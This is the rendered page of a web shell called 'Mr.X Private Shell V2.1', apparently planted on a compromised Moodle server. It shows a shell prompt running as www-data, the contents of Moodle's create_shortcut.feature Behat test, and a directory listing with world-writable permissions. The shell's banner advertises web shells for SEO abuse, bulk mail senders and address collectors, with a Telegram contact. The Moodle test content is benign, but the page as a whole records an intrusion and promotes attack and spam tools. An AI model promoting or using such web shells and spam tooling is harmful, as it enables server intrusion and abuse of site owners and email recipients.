__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@core @core_filepicker @repository @repository_user @_file_upload
Feature: Create shortcuts
  In order to automatically synchronize copies of the file with the source
  As a teacher
  I need to be able to pick file as a shortcut

  @javascript @_bug_phantomjs
  Scenario: Upload a file as a copy and as a shortcut in filemanager
    Given the following "users" exist:
      | username | firstname | lastname | email |
      | teacher1 | Terry | Teacher | teacher1@example.com |
    And the following "courses" exist:
      | fullname | shortname | category |
      | Course 1 | C1 | 0 |
    And the following "course enrolments" exist:
      | user | course | role |
      | teacher1 | C1 | editingteacher |
    And the following "blocks" exist:
      | blockname     | contextlevel | reference | pagetypepattern | defaultregion |
      | private_files | System       | 1         | my-index        | side-post     |
    When I log in as "teacher1"
    And I follow "Manage private files"
    And I upload "lib/tests/fixtures/empty.txt" file to "Files" filemanager
    Then I should see "empty.txt" in the "div.fp-content" "css_element"
    And I press "Save changes"
    And I add a folder activity to course "Course 1" section "1"
    And I set the following fields to these values:
      | Name        | Test folder             |
      | Description | Test folder description |
    And I add "empty.txt" file from "Private files" to "Files" filemanager
    And I should see "1" elements in "Files" filemanager
    And I should see "empty.txt" in the ".fp-content .fp-file" "css_element"
    And ".fp-content .fp-file.fp-isreference" "css_element" should not exist
    And I add "empty.txt" file from "Private files" to "Files" filemanager as:
      | Save as | empty_ref.txt |
      | Link to the file | 1 |
    And I should see "2" elements in "Files" filemanager
    And I should see "empty_ref.txt" in the ".fp-content .fp-file.fp-isreference" "css_element"
    And I press "Save and display"
    And I should see "empty.txt"
    And I should see "empty_ref.txt"
    And I press "Edit"
    And I should see "2" elements in "Files" filemanager
    And I should see "empty_ref.txt" in the ".fp-content .fp-file.fp-isreference" "css_element"
    # ------ Overwriting the reference with a non-reference ---------
    And I add and overwrite "empty.txt" file from "Private files" to "Files" filemanager as:
      | Save as | empty_ref.txt |
    And I should see "2" elements in "Files" filemanager
    And ".fp-content .fp-file.fp-isreference" "css_element" should not exist
    And I press "Save changes"
    And I should see "empty.txt"
    And I should see "empty_ref.txt"
    And I press "Edit"
    And I should see "2" elements in "Files" filemanager
    And ".fp-content .fp-file.fp-isreference" "css_element" should not exist
    # ------ Overwriting non-reference with a reference ---------
    And I add and overwrite "empty.txt" file from "Private files" to "Files" filemanager as:
      | Save as | empty_ref.txt |
      | Link to the file | 1 |
    And I should see "2" elements in "Files" filemanager
    And I should see "empty_ref.txt" in the ".fp-content .fp-file.fp-isreference" "css_element"
    And I press "Save changes"
    And I should see "empty.txt"
    And I should see "empty_ref.txt"
    And I press "Edit"
    And I should see "2" elements in "Files" filemanager
    And I should see "empty_ref.txt" in the ".fp-content .fp-file.fp-isreference" "css_element"

Filemanager

Name Type Size Permission Actions
behat_filepicker.php File 19.92 KB 0777
cancel_add_file.feature File 1.65 KB 0777
create_folders.feature File 999 B 0777
create_shortcut.feature File 3.41 KB 0777
delete_files.feature File 6.86 KB 0777
edit_file.feature File 3.2 KB 0777
overwrite_file.feature File 2.54 KB 0777
select_file.feature File 3.13 KB 0777
upload_file_type.feature File 965 B 0777
zip_and_unzip.feature File 1.26 KB 0777
Filemanager